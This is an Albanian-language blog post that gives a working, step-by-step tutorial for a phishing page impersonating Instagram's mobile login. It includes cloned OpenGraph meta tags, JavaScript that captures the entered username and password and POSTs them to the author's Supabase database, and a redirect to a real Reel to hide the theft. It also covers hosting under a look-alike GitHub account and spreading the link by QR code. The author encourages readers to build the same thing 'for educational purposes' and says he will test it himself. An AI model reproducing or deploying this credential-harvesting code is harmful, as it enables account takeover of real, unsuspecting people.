← All blogs

Instagram Fish 🐟

Viktor Ahmeti.4 months ago

Me krijimin e Internetit erdhën edhe qindra mënyra për mashtrime e vjedhje të të dhënave personale. Sot dhe në disa postime të ardhshme do analizojmë disa teknika të thjeshta se si mashtrohen njerëzit duke përdorur Uebin.

Phishing është një term gjeneral i cili i referohet impersonimit të dikujt tjetër përmes internetit. Kemi shembuj të phishing në rrjete sociale ku sulmuesi bëhet sikur është dikush i njohur i viktimës, apo edhe phishing klasik me “Princin Nigerian” kur viktima mashtrohet dhe jep të dhëna të kartës së kreditit duke menduar se do përfitojë diçka.

Një ditë mu kujtua një rast fenomenal i Phishing, pre e të cilit kishim rënë shumë nxënës sa isha në shkollë fillore. Dikush kishte programuar një uebfaqe bazike ku shkruante se mund të merrje mbushje Vala falas. Forma ishte e thjeshtë: Zgjedh sa mbushje don, shkruaj numrin e telefonit, dhe jep emailin dhe fjalëkalimin e Facebookut personal…

Normalisht që na u vodhën shumë fjalëkalime. Sot nuk do bija pre e një truku kaq të dukshëm, por të njejën ide mund ta përdorim për të krijuar diçka që shumica e njerëzve jo-teknik mashtrohen. Le të fillojmë.

Ideja

Hapi 1: Nuk do krijojmë një uebfaqe komplet të re sepse nuk do na besojë askush. Ne do krijojmë Instagram-in. Jo, jo të gjithë rrjetin social. Vetëm një faqe të thjeshtë e cila duket sikur Instagrami në pamje, ku viktima do mashtrohet dhe të bëjë Login. Ato kredenciale nuk do i shkojnë Instagramit por do i vjedhim ne.

Hapi 2: Për të rritur besueshmërinë, do të përdorim një URL të ngjashëm me atë të Instagramit, si për shembull instagram.yourdomain.com. Shumica e njerëzve nuk i lexojnë URL-at me vëmendje, e besa as nuk i kuptojnë, kështu që na mjafton kjo.

Hapi 3: Për të rritur besueshmërinë edhe më shumë, do të zgjedhim një Reel real të Instagramit – diçka që viktimës do i pëlqejë. Atë link do e bëjmë embed në URL, për shembull kështu: instagram.yourdomain.com?reel={reelUrl}. Kur viktima klikon këtë link ai do ta shohë faqen e autentifikimit të Instagramit (fallco), dhe pasi të shtypë butonin “Login” do të bëhet redirect automatikisht në aplikacionin real të Instagramit dhe të shikojë atë Reel – ku do ta harrojë komplet hapin e çuditshëm të Login-it.

Hapi 4: Për një hap më tutje, meta tags të linkut tonë dhe imazhi preview do të jenë të ndonjë reel të rëndomtë që nuk do vërehet fare.

Hapi 5: Për qershinë në fund, krijojmë një QR Code të cilin çdokush do e skanojë pa menduar dy herë.

Le ta ndërtojmë! I gjithë kodi që do diskutojmë në këtë postim mund të gjendet këtu.

Implementimi

Ne do të targetojmë përdoruesit e paisjeve mobile andaj do të fokusohemi aty. Do të mjaftojë që ne të ndërtojmë diçka që duket ngjashëm me Instagramin zyrtar. Do të bazohem në këtë Github Repo dhe do të bëj disa modifikime që të përshtas dizajnin për Instagramin modern. Kodi nuk përmban asgjë pos një HTML file dhe një CSS file, e normalisht asete për imazhet e ndryshme në ekran. Ja ku është rezultati final i krahasuar me Instagramin zyrtar. Cili është reali?

Faqja jonë (majtas) dhe Instagrami zyrtar (djathtas)

Ato që e bëjnë faqen më të besueshme janë Meta Tags. Mund të lexoni për OpenGraph Protocol të cilit i përmbahen shumica e faqeve në internet. Këto janë disa tags që specifikojnë emrin e faqes, përshkrimin, foton kryesore që reprezenton faqen, etj. Këto informata pastaj përdoren nga klientët e jashtëm për të shfaqur përshkrimin e faqes para se dikush të klikojë. Ja ku janë ato në HTML file tonë, bashkë me tags për titull, favicon, etj:

  <link rel="icon" type="image/png" href="./img/logo-small.png">
  <meta property="og:title" content="Instagram Reels" />
  <meta property="og:type" content="website" />
  <meta property="og:url" content="https://instagrammreel.github.io/instagram/login.html" />
  <meta property="og:image" content="https://instagrammreel.github.io/instagram/img/preview.png" />
  <meta property="og:description" content="Instagram">
  <meta property="og:site_name" content="Instagram">
  <title>Instagram</title>

Tash do implementojmë logjikën kur përdoruesi shtyp “Log In”. Ne dëshirojmë që forma të mos dërgohet askund por thjeshtë të ekzekutojë ca kod:

//marrim elementin
let form = document.getElementById('login-post');

form.addEventListener('submit', async (event) => {
    //parandalojmë që forma të bëhet submit
    event.preventDefault();
    //kodi në vijim
}

Brenda këtij funksioni do vendosim logjikën tonë. Qëllimi është që të marrim username dhe password dhe ti ruajmë diku, e zgjidhja më e lehtë për të ruajtur të dhënat është Supabase. Ajo na ofron një databazë Postgres dhe një REST API përmes të cilit mund të shtojmë, ndryshojmë, lexojmë, e fshiejmë të dhëna.

Për tu qasur në Supabase duhet një API Key i cili është një lloj fjalëkalimi unik që verifikon përdoruesin. Unë kam konfiguruar çelësin tim që vetëm të shtojë të dhëna e jo të mund ti lexojë ato (për qështje sigurie). Unë gjithashtu kam krijuar një tabelë me fushat username dhe password të cilat popullohen kur thërras një endpoint. Edhe ju mund ta konfiguroni falas për 5 minuta. Ja vazhdimi i kodit brenda funksionit:

const username = event.target.username.value;
const password = event.target.password.value;

//supabaseEndpoint dhe supabaseApiKey janë strings të definuara
await fetch(supabaseEndpoint, {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'apiKey': supabaseApiKey,
        'Authorization': `Bearer ${supabaseApiKey}`
    },
    //në trup të kërkesës JSON bashkangjes kredencialet
    body: JSON.stringify({
        username: username, 
        password: password
    })
});

Me kaq kod kredencialet ruhen në Supabase. Kishim për qëllim që çfarëdo Reel të mund të bëhet embed në URL tonë. Secili reel në Instagram ka një ID i cili është i dukshëm kur e përdorim përmes uebit. Nëse nuk ekziston si parametër, ne do e bëjmë redirect thjeshtë në instagram.com. Ja kodi:

let reelId = (new URLSearchParams(window.location.search)).get('reel');

let redirectUrl = 'https://instagram.com' + (reelId? `/reel/${reelId}` : '');

location.replace(redirectUrl);

Hostimi

Për të mos u lodhur, faqen e kam hostuar falas në Github Pages. Për tu dukur real, kam krijuar një user të ri në Github me username instagrammreel. Edhe Repository ku e kam projektin e kam quajtur thjeshtë instagram. Tani, faqja do të hostohet në instagrammreel.github.io/instagram/login.html, i cili sipas meje duhet mjaftueshëm i besueshëm. Nëse bëjmë embed edhe një Reel do të kemi URL të ngjashëm me: https://instagrammreel.github.io/instagram/login.html?reel=DDGAwgOIEvs. Tani kushdo që shkruan të dhënat këtu do të ruhen në Supabase.

Konkludimi

Në këtë postim mësuat një mënyrë të thjeshtë se si vidhen të dhënat personale në Ueb. Tani mund të bëni të njejtën edhe ju, në çfarëdo domene që ju bjen në mend, normalisht për qëllime edukative. Tani do provoj se a do funksionojë kjo metodë…

Nëse doni të lexoni më shumë nga postimet e mija, filloni me 01010110 → 🚀

← All blogs